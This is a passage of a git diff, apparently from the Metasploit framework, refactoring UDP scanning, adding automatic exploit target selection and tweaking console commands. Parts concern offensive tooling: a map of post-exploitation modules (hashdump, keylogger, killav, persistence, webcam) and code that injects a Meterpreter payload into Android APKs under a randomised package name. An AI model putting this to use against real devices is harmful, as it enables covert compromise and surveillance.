opt.kind_of?(Msf::OptPort) + mod.class.included_modules.each do |m| + case m.name + when /tcp/i, /HttpClient$/ + desc << ' (TCP)' + break + when /udp/i + desc << ' (UDP)' + break + end + end + end + + tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", desc ] end return tbl.to_s diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index c97300168e..bcb592c97f 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -277,8 +277,23 @@ class Meterpreter < Rex::Post::Meterpreter::Client # # Explicitly runs a command in the meterpreter console. # - def run_cmd(cmd) - console.run_single(cmd) + def run_cmd(cmd,output_object=nil) + stored_output_state = nil + # If the user supplied an Output IO object, then we tell + # the console to use that, while saving it's previous output/ + if output_object + stored_output_state = console.output + console.send(:output=, output_object) + end + success = console.run_single(cmd) + # If we stored the previous output object of the channel + # we restore it here to put everything back the way we found it + # We re-use the conditional above, because we expect in many cases for + # the stored state to actually be nil here. + if output_object + console.send(:output=,stored_output_state) + end + success end # diff --git a/lib/msf/base/sessions/scriptable.rb b/lib/msf/base/sessions/scriptable.rb index d78095014a..15f20da0ce 100644 --- a/lib/msf/base/sessions/scriptable.rb +++ b/lib/msf/base/sessions/scriptable.rb @@ -51,6 +51,48 @@ module Scriptable raise NotImplementedError end + # + # Maps legacy Meterpreter script names to replacement post modules + def legacy_script_to_post_module(script_name) + { + 'autoroute' => 'post/windows/manage/autoroute', + 'checkvm' => 'post/windows/gather/checkvm', + 'duplicate' => 'post/windows/manage/multi_meterpreter_inject', + 'enum_chrome' => 'post/windows/gather/enum_chrome', + 'enum_firefox' => 'post/windows/gather/enum_firefox', + 'enum_logged_on_users' => 'post/windows/gather/enum_logged_on_users', + 'enum_powershell_env' => 'post/windows/gather/enum_powershell_env', + 'enum_putty' => 'post/windows/gather/enum_putty_saved_sessions', + 'enum_shares' => 'post/windows/gather/enum_shares', + 'file_collector' => 'post/windows/gather/enum_files', + 'get_application_list' => 'post/windows/gather/enum_applications', + 'getcountermeasure' => 'post/windows/manage/killav', + 'get_filezilla_creds' => 'post/windows/gather/credentials/filezilla_server', + 'getgui' => 'post/windows/manage/enable_rdp', + 'get_local_subnets' => 'post/windows/manage/autoroute', + 'get_valid_community' => 'post/windows/gather/enum_snmp', + 'getvncpw' => 'post/windows/gather/credentials/vnc', + 'hashdump' => 'post/windows/gather/smart_hashdump', + 'hostsedit' => 'post/windows/manage/inject_host', + 'keylogrecorder' => 'post/windows/capture/keylog_recorder', + 'killav' => 'post/windows/manage/killav', + 'metsvc' => 'post/windows/manage/persistence_exe', + 'migrate' => 'post/windows/manage/migrate', + 'packetrecorder' => 'post/windows/manage/rpcapd_start', + 'persistence' => 'post/window/manager/persistence_exe', + 'prefetchtool' => 'post/windows/gather/enum_prefetch', + 'remotewinenum' => 'post/windows/gather/wmic_command', + 'schelevator' => 'exploits/windows/local/ms10_092_schelevator', + 'screenspy' => 'post/windows/gather/screen_spy', + 'screen_unlock' => 'post/windows/escalate/screen_unlock', + 'search_dwld' => 'post/windows/gather/enum_files', + 'service_permissions_escalate' => 'exploits/windows/local/service_permissions', + 'uploadexec' => 'post/windows/manage/download_exec', + 'webcam' => 'post/windows/manage/webcam', + 'wmic' => 'post/windows/gather/wmic_command', + }[script_name] + end + # # Executes the supplied script, Post module, or local Exploit module with # arguments +args+ @@ -58,6 +100,8 @@ module Scriptable # Will search the script path. # def execute_script(script_name, *args) + post_module = legacy_script_to_post_module(script_name) + script_name = post_module if !post_module.nil? mod = framework.modules.create(script_name) if mod # Don't report module run events here as it will be taken care of diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 50aa154d32..e346d51867 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -43,16 +43,41 @@ module Auxiliary::UDPScanner datastore['BATCHSIZE'].to_i end + def udp_sock(ip, port) + @udp_socks_mutex.synchronize do + key = "#{ip}:#{port}" + unless @udp_socks.key?(key) + @udp_socks[key] = + Rex::Socket::Udp.create({ + 'LocalHost' => datastore['CHOST'] || nil, + 'LocalPort' => datastore['CPORT'] || 0, + 'PeerHost' => ip, + 'PeerPort' => port, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(@udp_socks[key]) + end + return @udp_socks[key] + end + end + + def cleanup_udp_socks + @udp_socks_mutex.synchronize do + @udp_socks.each do |key, sock| + @udp_socks.delete(key) + remove_socket(sock) + sock.close + end + end + end + # Start scanning a batch of IP addresses def run_batch(batch) - @udp_sock = Rex::Socket::Udp.create({ - 'LocalHost' => datastore['CHOST'] || nil, - 'LocalPort' => datastore['CPORT'] || 0, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - }) - add_socket(@udp_sock) + @udp_socks = {} + @udp_socks_mutex = Mutex.new @udp_send_count = 0 + @interval_mutex = Mutex.new # Provide a hook for pre-scanning setup scanner_prescan(batch) @@ -95,9 +120,10 @@ module Auxiliary::UDPScanner def scanner_send(data, ip, port) resend_count = 0 + sock = nil begin - - @udp_sock.sendto(data, ip, port, 0) + sock = udp_sock(ip, port) + sock.send(data, 0) rescue ::Errno::ENOBUFS resend_count += 1 @@ -112,15 +138,16 @@ module Auxiliary::UDPScanner retry - rescue ::Rex::ConnectionError + rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED # This fires for host unreachable, net unreachable, and broadcast sends # We can safely ignore all of these for UDP sends end - @udp_send_count += 1 - - if @udp_send_count % datastore['ScannerRecvInterval'] == 0 - scanner_recv(0.1) + @interval_mutex.synchronize do + @udp_send_count += 1 + if @udp_send_count % datastore['ScannerRecvInterval'] == 0 + scanner_recv(0.1) + end end true @@ -129,29 +156,38 @@ module Auxiliary::UDPScanner # Process incoming packets and dispatch to the module # Ensure a response flood doesn't trap us in a loop # Ignore packets outside of our project's scope - def scanner_recv(timeout=0.1) + def scanner_recv(timeout = 0.1) queue = [] - while (res = @udp_sock.recvfrom(65535, timeout)) + start = Time.now + while Time.now - start < timeout do + readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout) + if readable + for sock in readable + res = sock.recvfrom(65535, timeout) - # Ignore invalid responses - break if not res[1] + # Ignore invalid responses + break if not res[1] - # Ignore empty responses - next if not (res[0] and res[0].length > 0) + # Ignore empty responses + next if not (res[0] and res[0].length > 0) - # Trim the IPv6-compat prefix off if needed - shost = res[1].sub(/^::ffff:/, '') + # Trim the IPv6-compat prefix off if needed + shost = res[1].sub(/^::ffff:/, '') - # Ignore the response if we have a boundary - next unless inside_workspace_boundary?(shost) + # Ignore the response if we have a boundary + next unless inside_workspace_boundary?(shost) - queue << [res[0], shost, res[2]] + queue << [res[0], shost, res[2]] - if queue.length > datastore['ScannerRecvQueueLimit'] - break + if queue.length > datastore['ScannerRecvQueueLimit'] + break + end + end end end + cleanup_udp_socks + queue.each do |q| scanner_process(*q) end diff --git a/lib/msf/core/constants.rb b/lib/msf/core/constants.rb index df2aa25378..e3a76cbecf 100644 --- a/lib/msf/core/constants.rb +++ b/lib/msf/core/constants.rb @@ -55,6 +55,7 @@ module HttpClients SAFARI = "Safari" OPERA = "Opera" CHROME = "Chrome" + EDGE = "Edge" UNKNOWN = "Unknown" end diff --git a/lib/msf/core/db_manager/connection.rb b/lib/msf/core/db_manager/connection.rb index 171edb22c2..5f47998b50 100644 --- a/lib/msf/core/db_manager/connection.rb +++ b/lib/msf/core/db_manager/connection.rb @@ -124,8 +124,6 @@ module Msf::DBManager::Connection ActiveRecord::Base.connection.active? } rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error - elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}") - false end end diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index 9c0a042bd6..d469622451 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -181,6 +181,16 @@ module Msf::DBManager::Host opts[:name] = opts[:name][0,255] end + if opts[:os_name] + os_name, os_flavor = split_windows_os_name(opts[:os_name]) + opts[:os_name] = os_name if os_name.present? + if opts[:os_flavor].present? + opts[:os_flavor] = os_flavor + opts[:os_flavor] + else + opts[:os_flavor] = os_flavor + end + end + opts.each { |k,v| if (host.attribute_names.include?(k.to_s)) unless host.attribute_locked?(k.to_s) @@ -213,6 +223,13 @@ module Msf::DBManager::Host } end + def split_windows_os_name(os_name) + return [] if os_name.nil? + flavor_match = os_name.match(/Windows\s+(.*)/) + return [] if flavor_match.nil? + ["Windows", flavor_match.captures.first] + end + # # Update a host's attributes via semi-standardized sysinfo hash (Meterpreter) # @@ -273,7 +290,8 @@ module Msf::DBManager::Host end if info['OS'] =~ /^Windows\s*([^\(]+)\(([^\)]+)\)/i - res[:os_name] = "Windows #{$1.strip}" + res[:os_name] = "Windows" + res[:os_flavor] = $1.strip build = $2.strip if build =~ /Service Pack (\d+)/ diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 6b05a7f06b..4846670e9a 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -162,6 +162,8 @@ class Exploit < Msf::Module # ### class Remote < Exploit + require 'msf/core/exploit/auto_target' + include Msf::Exploit::AutoTarget # # Initializes the socket array. @@ -285,9 +287,25 @@ class Exploit < Msf::Module # to the information hash. super(info) + # Skip this whole routine if there are no targets + unless info['Targets'].nil? + # Add an Automatic Target to the Exploit if it doesn't have one + unless has_auto_target?(info['Targets']) + # Don't add the automatic target unless there's already more than one target to pick from + if info['Targets'].count > 1 + # Finally, only add the target if there is a remote host option + if self.respond_to?(:rhost) + auto = ["Automatic", { 'AutoGenerated' => true}] + info['Targets'].unshift(auto) + end + end + end + end + + self.targets = Rex::Transformer.transform(info['Targets'], Array, [ Target ], 'Targets') - self.default_target = info['DefaultTarget'] + self.default_target = info['DefaultTarget'] || 0 self.payload_info = info['Payload'] || {} self.successful = false self.session_count = 0 @@ -321,6 +339,14 @@ class Exploit < Msf::Module ], Msf::Exploit) end + def has_auto_target?(targets=[]) + target_names = targets.collect { |target| target.first} + target_names.each do |target| + return true if target =~ /Automatic/ + end + return false + end + ## # # Core exploit interface @@ -665,8 +691,21 @@ class Exploit < Msf::Module # default target, that one will be automatically used. # def target - target_idx = target_index + if self.respond_to?(:auto_targeted_index) + if auto_target? + auto_idx = auto_targeted_index + if auto_idx.present? + datastore['TARGET'] = auto_idx + else + # If our inserted Automatic Target was selected but we failed to + # find a suitable target, we just grab the original first target. + datastore['TARGET'] = 1 + end + end + end + + target_idx = target_index return (target_idx) ? targets[target_idx.to_i] : nil end @@ -676,9 +715,10 @@ class Exploit < Msf::Module def target_index target_idx = datastore['TARGET'] + default_idx = default_target || 0 # Use the default target if one was not supplied. - if (target_idx == nil and default_target and default_target >= 0) - target_idx = default_target + if (target_idx == nil and default_idx and default_idx >= 0) + target_idx = default_idx end return (target_idx) ? target_idx.to_i : nil end diff --git a/lib/msf/core/exploit/auto_target.rb b/lib/msf/core/exploit/auto_target.rb new file mode 100644 index 0000000000..35f95ec96c --- /dev/null +++ b/lib/msf/core/exploit/auto_target.rb @@ -0,0 +1,120 @@ + +module Msf + module Exploit::AutoTarget + + # Checks to see if the auto-generated Automatic Targeting + # has been selected. If the module had an already defined + # Automatic target, then we let the module handle the targeting + # itself. + # + # @return [Boolean] whether or not to use our automatic targeting routine + def auto_target? + selected_target = targets[target_index] + return false if selected_target.nil? + if selected_target.name =~ /Automatic/ && selected_target['AutoGenerated'] == true && auto_target_host + true + else + false + end + end + + # Returns the Target Index of the automatically selected Target from + # our Automatic Targeting routine. + # + # @return [Integer] the index of the selected Target + # @return [nil] if no target could be selected + def auto_targeted_index + selected_target = select_target + return nil if selected_target.nil? + targets.each_with_index do |target, index| + return index if target == selected_target + end + nil + end + + # Chooses the best possible Target for what we know about + # the targeted host. + # + # @return [Msf::Module::Target] the Target that our automatic routine selected + def select_target + return nil unless auto_target? + host_record = auto_target_host + return nil if host_record.nil? + filtered_targets = filter_by_os(host_record) + filtered_targets.first + end + + # Finds an for the RHOST if one exists + # + # @return [Mdm:Host] the Host record if one exists + # @return [nil] if no Host record is present, or the DB is not active + def auto_target_host + return nil unless self.respond_to?(:rhost) + return nil unless framework.db.active + current_workspace = framework.db.find_workspace(self.workspace) + current_workspace.hosts.where(address: rhost).first + end + + # Returns the best matching Targets based on the target host's + # OS information. It looks at the OS Family, OS Name, and OS SP. + # + # @param host_record [Mdm::Host] the target host record + # @return [Array] an array of matching targets + def filter_by_os(host_record) + filtered_by_family = filter_by_os_family(host_record) + filtered_by_name = filter_by_os_name(filtered_by_family, host_record) + # If Filtering by name gave us no results, then we reset back to the family filter group + filtered_by_name = filtered_by_family if filtered_by_name.empty? + filtered_by_sp = filter_by_os_sp(filtered_by_name,host_record) + # If Filtering by SP was a bust, revert back one level + filtered_by_sp = filtered_by_name if filtered_by_sp.empty? + filtered_by_sp + end + + # Returns all Targets that match the target host's OS Family + # e.g Windows, Linux, OS X, etc + # + # @param host_record [Mdm::Host] the target host record + # @return [Array] an array of matching targets + def filter_by_os_family(host_record) + return [] if host_record.os_family.blank? + filtered_targets = targets.collect do |target| + if target.name =~ /#{host_record.os_family}/ + target + else + nil + end + end + filtered_targets.compact + end + + # Returns all Targets that match the target host's OS Name + # e.g Windows 7, Windows XP, Windows Vista, etc + # + # @param potential_targets [Array] the filtered targets that we wish to filter further + # @param host_record [Mdm::Host] the target host record + # @return [Array] an array of matching targets + def filter_by_os_name(potential_targets, host_record) + return [] if host_record.os_name.blank? + filtered_targets = [] + potential_targets.each do |target| + filtered_targets << target if target.name =~ /#{host_record.os_name}/ + end + filtered_targets + end + + # Returns all Targets that match the target host's OS SP + # + # @param potential_targets [Array] the filtered targets that we wish to filter further + # @param host_record [Mdm::Host] the target host record + # @return [Array] an array of matching targets + def filter_by_os_sp(potential_targets, host_record) + return [] if host_record.os_sp.blank? + filtered_targets = [] + potential_targets.each do |target| + filtered_targets << target if target.name =~ /#{host_record.os_sp}/ + end + filtered_targets + end + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 9a1c7ede3f..0a44e926de 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -80,10 +80,6 @@ module Exploit::Remote::HttpClient ) register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ]) register_autofilter_services(%W{ http https }) - - # Used by digest auth - @cnonce = make_cnonce - @nonce_count = -1 end @@ -769,10 +765,6 @@ module Exploit::Remote::HttpClient fprint[:signature] end - def make_cnonce - Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535)) - end - protected attr_accessor :client diff --git a/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb index 2f298b93e9..14fa751c6a 100644 --- a/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb +++ b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb @@ -151,7 +151,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation # @return [Boolean] the user has selected a javascript (non-native) target def js_target? - target.arch[0] == ARCH_FIREFOX + if target.arch + target.arch[0] == ARCH_FIREFOX + else + false + end end end diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index ab344b2880..7a6c29c970 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -68,7 +68,7 @@ class Msf::Payload::Apk } end - def fix_manifest(tempdir) + def fix_manifest(tempdir, package) #Load payload's manifest payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") payload_permissions = payload_manifest.xpath("//manifest/uses-permission") @@ -98,8 +98,12 @@ class Msf::Payload::Apk end application = original_manifest.at_xpath('/manifest/application') - application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml - application << payload_manifest.at_xpath('/manifest/application/service').to_xml + receiver = payload_manifest.at_xpath('/manifest/application/receiver') + service = payload_manifest.at_xpath('/manifest/application/service') + receiver.attributes["name"].value = package + receiver.attributes["name"].value + service.attributes["name"].value = package + service.attributes["name"].value + application << receiver.to_xml + application << service.to_xml File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml } end @@ -207,6 +211,7 @@ class Msf::Payload::Apk FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali") package = amanifest.xpath("//manifest").first['package'] + package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}" package_slash = package.gsub(/\./, "/") print_status "Adding payload as package #{package}\n" payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") @@ -232,7 +237,7 @@ class Msf::Payload::Apk injected_apk = "#{tempdir}/output.apk" aligned_apk = "#{tempdir}/aligned.apk" print_status "Poisoning the manifest with meterpreter permissions..\n" - fix_manifest(tempdir) + fix_manifest(tempdir, package) print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") diff --git a/lib/msf/core/plugin_manager.rb b/lib/msf/core/plugin_manager.rb index c9491d6c32..2c1ea3041a 100644 --- a/lib/msf/core/plugin_manager.rb +++ b/lib/msf/core/plugin_manager.rb @@ -68,6 +68,10 @@ class PluginManager < Array Kernel.load(path + ".rb") end + # Force unloading if already loaded + plugin = self.find { |p| p.class == klass } + unload(plugin) if plugin + # Create an instance of the plugin and let it initialize instance = klass.create(framework, opts) diff --git a/lib/msf/core/rpc/v10/rpc_plugin.rb b/lib/msf/core/rpc/v10/rpc_plugin.rb index 1a650808b5..10f9f2c4d8 100644 --- a/lib/msf/core/rpc/v10/rpc_plugin.rb +++ b/lib/msf/core/rpc/v10/rpc_plugin.rb @@ -17,32 +17,32 @@ class RPC_Plugin < RPC_Base # # Load the nexpose plugin # rpc.call('plugin.load', 'nexpose') def rpc_load(path, xopts = {}) - opts = {} + opts = {} - xopts.each do |k,v| + xopts.each do |k, v| if k.class == String opts[k.to_sym] = v end end - if (path !~ /#{File::SEPARATOR}/) + if path !~ /#{File::SEPARATOR}/ plugin_file_name = path # If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name - if not File.exist?( path + ".rb" ) + if not File.exist?(path + ".rb") # If the following "path" doesn't exist it will be caught when we attempt to load path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name end end begin - if (inst = self.framework.plugins.load(path, opts)) - return { "result" => "success" } + if self.framework.plugins.load(path, opts) + return { "result" => "success" } end rescue ::Exception => e - elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", src = 'core', level = 0, from = caller) - return { "result" => "failure" } + elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", 'core', 0, caller) + return { "result" => "failure" } end end @@ -57,15 +57,16 @@ class RPC_Plugin < RPC_Base # @example Here's how you would use this from the client: # rpc.call('plugin.unload', 'nexpose') def rpc_unload(name) - self.framework.plugins.each { |plugin| - # Unload the plugin if it matches the name we're searching for - if (plugin.name == name) - self.framework.plugins.unload(plugin) - return { "result" => "success" } - end - } - return { "result" => "failure" } + # Find a plugin within the plugins array + plugin = self.framework.plugins.find { |p| p.name == name } + # Unload the plugin if it matches the name we're searching for + if plugin + self.framework.plugins.unload(plugin) + return { "result" => "success" } + end + + { "result" => "failure" } end @@ -78,7 +79,7 @@ class RPC_Plugin < RPC_Base def rpc_loaded ret = {} ret[:plugins] = [] - self.framework.plugins.each do |plugin| + self.framework.plugins.each do |plugin| ret[:plugins] << plugin.name end ret diff --git a/lib/msf/core/session/provider/single_command_shell.rb b/lib/msf/core/session/provider/single_command_shell.rb index 8be21f0a0b..45395fc895 100644 --- a/lib/msf/core/session/provider/single_command_shell.rb +++ b/lib/msf/core/session/provider/single_command_shell.rb @@ -43,6 +43,8 @@ module SingleCommandShell # Read data until we find the token # def shell_read_until_token(token, wanted_idx=0, timeout=10) + return if timeout.to_i == 0 + if (wanted_idx == 0) parts_needed = 2 else diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 8509dbb80e..a03fa90785 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -88,7 +88,8 @@ class Core @@history_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], "-a" => [ false, "Show all commands in history." ], - "-n" => [ true, "Show the last n commands." ]) + "-n" => [ true, "Show the last n commands." ], + "-u" => [ false, "Show only unique commands." ]) @@irb_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], @@ -480,6 +481,7 @@ class Core def cmd_history(*args) length = Readline::HISTORY.length + uniq = false if length < @history_limit limit = length @@ -498,6 +500,8 @@ class Core else limit = val.to_i end + when "-u" + uniq = true when "-h" cmd_history_help return false @@ -508,6 +512,9 @@ class Core pad_len = length.to_s.length (start..length-1).each do |pos| + if uniq && Readline::HISTORY[pos] == Readline::HISTORY[pos-1] + next unless pos == 0 + end cmd_num = (pos + 1).to_s print_line "#{cmd_num.ljust(pad_len)} #{Readline::HISTORY[pos]}" end @@ -518,7 +525,6 @@ class Core print_line print_line "Shows the command history." print_line "If -n is not set, only the last #{@history_limit} commands will be shown." - print_line print @@history_opts.usage end @@ -1236,7 +1242,7 @@ class Core session.response_timeout = response_timeout end - output = session.run_cmd cmd + output = session.run_cmd(cmd, driver.output) end end when 'kill' @@ -1653,16 +1659,15 @@ class Core return false end - # Walk the plugins array - framework.plugins.each { |plugin| - # Unload the plugin if it matches the name we're searching for - if (plugin.name.downcase == args[0].downcase) - print("Unloading plugin #{args[0]}...") - framework.plugins.unload(plugin) - print_line("unloaded.") - break - end - } + # Find a plugin within the plugins array + plugin = framework.plugins.find { |p| p.name.downcase == args[0].downcase } + + # Unload the plugin if it matches the name we're searching for + if plugin + print("Unloading plugin #{args[0]}...") + framework.plugins.unload(plugin) + print_line("unloaded.") + end end # diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index a022d009e8..95044b8294 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -86,6 +86,7 @@ class Db def cmd_workspace_help print_line "Usage:" print_line " workspace List workspaces" + print_line " workspace -v List workspaces verbosely" print_line " workspace [name] Switch workspace" print_line " workspace -a [name] ... Add workspace(s)" print_line " workspace -d [name] ... Delete workspace(s)" @@ -111,6 +112,8 @@ class Db delete_all = true when '-r','--rename' renaming = true + when '-v' + verbose = true else names ||= [] names << arg @@ -177,11 +180,40 @@ class Db return end else - # List workspaces - framework.db.workspaces.each do |s| - pad = (s.name == framework.db.workspace.name) ? "* " : " " - print_line("#{pad}#{s.name}") + workspace = framework.db.workspace + + unless verbose + framework.db.workspaces.each do |ws| + pad = (ws == workspace) ? '* ' : ' ' + print_line("#{pad}#{ws.name}") + end + return end + + col_names = %w{current name hosts services vulns creds loots notes} + + tbl = Rex::Text::Table.new( + 'Header' => 'Workspaces', + 'Columns' => col_names, + 'SortIndex' => -1 + ) + + # List workspaces + framework.db.workspaces.each do |ws| + tbl << [ + ws == workspace ? '*' : '', + ws.name, + ws.hosts.count, + ws.services.count, + ws.vulns.count, + ws.core_credentials.count, + ws.loots.count, + ws.notes.count + ] + end + + print_line + print_line(tbl.to_s) end } end diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index b6e644a73d..45b85f95e7 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -27,7 +27,7 @@ module Msf def commands { "back" => "Move back from the current context", - "edit" => "Edit the current module with $VISUAL or $EDITOR", + "edit" => "Edit the current module with the preferred editor", "advanced" => "Displays advanced options for one or more modules", "info" => "Displays information about one or more modules", "options" => "Displays global options or for one or more modules", @@ -61,18 +61,17 @@ module Msf "Module" end - def local_editor - Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim' + framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') end def cmd_edit_help msg = "Edit the currently active module" - msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}." + msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}." print_line "Usage: edit" print_line print_line msg - print_line "When done editing, you must reload the module with 'reload' or 'rexploit'." + print_line "When done editing, you must reload the module with 'reload' or 'rerun'." print_line end @@ -80,20 +79,22 @@ module Msf # Edit the currently active module # def cmd_edit - unless local_editor - print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'" - return - end if active_module - path = active_module.file_path - print_status "Launching #{local_editor} #{path}" - system(local_editor,path) + editor = local_editor + path = active_module.file_path + + if editor.nil? + editor = 'vim' + print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.") + end + + print_status("Launching #{editor} #{path}") + system(editor, path) else - print_error "Nothing to edit -- try using a module first." + print_error('Nothing to edit -- try using a module first.') end end - def cmd_advanced_help print_line 'Usage: advanced [mod1 mod2 ...]' print_line diff --git a/lib/rex/post/meterpreter/channels/datagram.rb b/lib/rex/post/meterpreter/channels/datagram.rb index fc8c2e3323..d80c8212f7 100644 --- a/lib/rex/post/meterpreter/channels/datagram.rb +++ b/lib/rex/post/meterpreter/channels/datagram.rb @@ -33,12 +33,21 @@ class Datagram < Rex::Post::Meterpreter::Channel 'udp' end - def recvfrom_nonblock(length,flags = nil) - return [super(length, flags)[0], super(length, flags)[0]] + def recvfrom_nonblock(length, flags = 0) + data = super(length, flags)[0] + sockaddr = super(length, flags)[0] + [data, sockaddr] end - def send(buf, flags, saddr) - channel.send(buf, flags, saddr) + # + # This should work just like a UDPSocket.send method + # + # send(mesg, flags, host, port) => numbytes_sent click to toggle source + # send(mesg, flags, sockaddr_to) => numbytes_sent + # send(mesg, flags) => numbytes_sent + # + def send(buf, flags, a = nil, b = nil) + channel.send(buf, flags, a, b) end end @@ -53,17 +62,12 @@ class Datagram < Rex::Post::Meterpreter::Channel ) if peerhost && peerport - # Maxlen here is 65507, to ensure we dont overflow, we need to write twice - # If the other side has a full 64k, handle by splitting up the datagram and - # writing multiple times along with the sockaddr. Consumers calling recvfrom - # repeatedly will buffer up all the pieces. - while data.length > 65507 - rsock.syswrite(data[0..65506]) - rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) - data = data - data[0..65506] - end - rsock.syswrite(data) - rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) + # A datagram can be maximum 65507 bytes, truncate longer messages + rsock.syswrite(data[0..65506]) + + # We write the data and sockaddr data to the local socket, the pop it + # back in recvfrom_nonblock. + rsock.syswrite(Rex::Socket.to_sockaddr(peerhost, peerport)) return true else return false diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index bc27c771cb..60e443812d 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -272,7 +272,7 @@ class Android < Extension end def send_sms(dest, body, dr) - request = Packet.create_request('android_android_send_sms') + request = Packet.create_request('android_send_sms') request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) request.add_tlv(TLV_TYPE_SMS_BODY, body) request.add_tlv(TLV_TYPE_SMS_DR, dr) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb index 62c03b58aa..dad84869cb 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb @@ -77,24 +77,41 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram end # - # This function is called by Rex::Socket::Udp.sendto and writes data to a specified - # remote peer host/port via the remote end of the channel. + # This function is called by Rex::Socket::Udp.sendto and writes data to a + # specified remote peer host/port via the remote end of the channel. # - def send(buf, flags, saddr) - _af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr) + # This should work just like a UDPSocket.send method + # + # send(mesg, flags, host, port) => numbytes_sent click to toggle source + # send(mesg, flags, sockaddr_to) => numbytes_sent + # send(mesg, flags) => numbytes_sent + # + def send(buf, flags, a = nil, b = nil) + host = nil + port = nil - addends = [ - { - 'type' => TLV_TYPE_PEER_HOST, - 'value' => peerhost - }, - { - 'type' => TLV_TYPE_PEER_PORT, - 'value' => peerport - } - ] + if a && b.nil? + _, host, port = Rex::Socket.from_sockaddr(a) + elsif a && b + host = a + port = b + end - return _write(buf, buf.length, addends) + addends = nil + if host && port + addends = [ + { + 'type' => TLV_TYPE_PEER_HOST, + 'value' => host + }, + { + 'type' => TLV_TYPE_PEER_PORT, + 'value' => port + } + ] + end + + _write(buf, buf.length, addends) end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 08f6dc5adb..63203eeef9 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -279,11 +279,13 @@ class Console::CommandDispatcher::Android end def 